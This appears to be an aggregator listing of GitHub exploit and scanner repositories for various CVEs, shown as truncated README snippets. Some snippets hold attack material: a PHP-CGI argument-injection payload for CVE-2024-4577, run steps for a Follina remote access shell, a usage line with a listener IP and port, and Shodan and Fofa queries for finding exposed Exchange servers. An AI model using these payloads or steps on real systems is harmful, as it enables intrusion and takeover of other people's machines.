Follina

Follina PATCHED Remote Access Shell for Windows based on cve-2022-30190 ⚠️ Made for Educational purposes only 📚 Installation & Usage 🛠️ root@kitploit: $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

cve-2021-44228

cve-2021-44228 This is the mid-term assignment archive of the "Vulnerability Analysis Lab" Junior Fall-Winter at Anhui University. The full document is at https://testgames.me/2024/11/10/cve-2021-44228/...

BlueKeep

用于 CVE-2019-0708 BlueKeep 漏洞的 rdpscan 这是一个用于检测 Microsoft 远程桌面中 CVE-2019-0708 漏洞的快速但粗糙的扫描器。 目前，公共互联网上约有 70 万台机器受此漏洞影响， 而约有 200 万台机器暴露了远程桌面，但已修补/可安全抵御利用。许多人预计在 未来几个月内将出现类似 WannaCry 和 notPetya 的毁灭性互联网蠕虫。 因此，请扫描你的网络并修补你的系统。此工具可让你轻松扫描网络 以发现易受攻击的机器。 要使用此工具，你可以下载一个“二进制”文件从命令行运行，也可以下载 源代码并自行编译。对于...

CVE-2020-9484

CVE-2020-9484 Click the image to watch the video Usage Make it execuateble root@kitploit: chmod +x CVE-2020-9484 root@kitploit: ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2023-22518

CVE-2023-22518 Exploit Description This repository contains an exploit script for CVE-2023-22518. The script allows for unauthorized file uploads, potentially leading to remote code execution or other security vulnerabilities. Disclaimer This repository is for educational and informational purpos...

CVE-2018-2893

This repository does not have a README...

CVE-2024-4577-nuclei

CVE-2024-4577-nuclei Payload: root@kitploit: ?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input root@kitploit: Test URL: root@kitploit: /unfxu9a.phppayload /php-cgi/unfxu9a.phppayload /cgi-bin/php-cgi.exepayload /php-cgi/php-cgi.exepayload /php-cgi/php.exepayload /cgi-bin/php.exepayload...

IOC_for_CVE-2021-28310

This repository does not have a README...

CVE-2017-5638-Apache-Struts2

This repository does not have a README...

apache__rocketmq_CVE-2023-37582_4-9-6

Apache RocketMQ Developer Guide This guide helps developers to understand and use Apache RocketMQ quickly. 1. Concepts & Features Concept：introduce basic concepts in RocketMQ. Feature：introduce functional features of RocketMQ's implementations. 2. Architecture Design Architecture：introduce...

system_bt_AOSP10_r33_CVE-2021-0431

Fluoride 蓝牙协议栈 在 AOSP 上构建和运行 只需构建 AOSP - Fluoride 默认就在其中。 在 Linux 上构建和运行 适用于 Ubuntu 的说明，已在 14.04（Clang 3.5.0）和 16.10（Clang 3.8.0）上测试通过。 下载源码 root@kitploit: mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 安装依赖项（需要 sudo 权限）： root@kitploit: cd /fluoride/bt...

cve-2022-33891

cve-2022-33891 Usage: root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py...

CVE-2021-22005

This repository does not have a README...

Log4Shell-demo

Log4Shell in action This project aims to demonstrate how the Log4Shell / CVE-2021-44228 vulnerability works. Requirements You only need to have Docker installed. Ideally you have two different virtual machines. One for the vulnerable server and one for the malicious server that will host the...

wp2shell-scanner

wp2shell-scanner Herramientas de detección y validación para la exposición del núcleo de WordPress a wp2shell CVE-2026-63030 / CVE-2026-60137. Los modos se seleccionan con una bandera, y el objetivo es posicional. --scan toma la huella de la versión del núcleo y confirma que la ruta REST /batch/v...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE PoC for Forgot2kEyXCHANGE CVE-2020-0688 written in PowerShell Usage This PoC requires a valid Username and Password. This PoC uses ysoserial.net to create the new ViewState which contains the command you specified on the -Command param. If you don't already have this installed...

linux-4.19.72_CVE-2023-0386

Linux kernel There are several guides for kernel developers and users. These guides can be rendered in a number of formats, like HTML and PDF. Please read Documentation/admin-guide/README.rst first. In order to build the documentation, use make htmldocs or make pdfdocs. The formatted documentatio...

CVE-2019-20372

CVE-2019-20372 This repository is for educational purposes only. /server vulnerable server run ./server.sh /exploit.py exploit script run python3 exploit.py importante! https://blkcipher.pl/assets/pdfs/2019-12-10-errorpagerequestsmuggling.pdf https://github.com/vuongnv3389-sec/CVE-2019-20372 why...

CVE-2021-26855-SSRF-Exchange

CVE-2021-26855-SSRF-Exchange CVE-2021-26855 SSRF Exchange Server Shodan https://beta.shodan.io/search?query=http.component%3A%22outlook+web+app%22 https://beta.shodan.io/search?query=http.html%3A%22%2Fowa%22 Fofa https://fofa.so/result?q=title%3D%22Outlook+Web+App%22...

test_cve-2023-46747

Python script to test if a F5 BIG-IP is vulnerable for CVE-2023-46747. When vulnerable a user account with administrator rights is added. To mitigate this vulnerability, see: https://my.f5.com/manage/s/article/K000137353...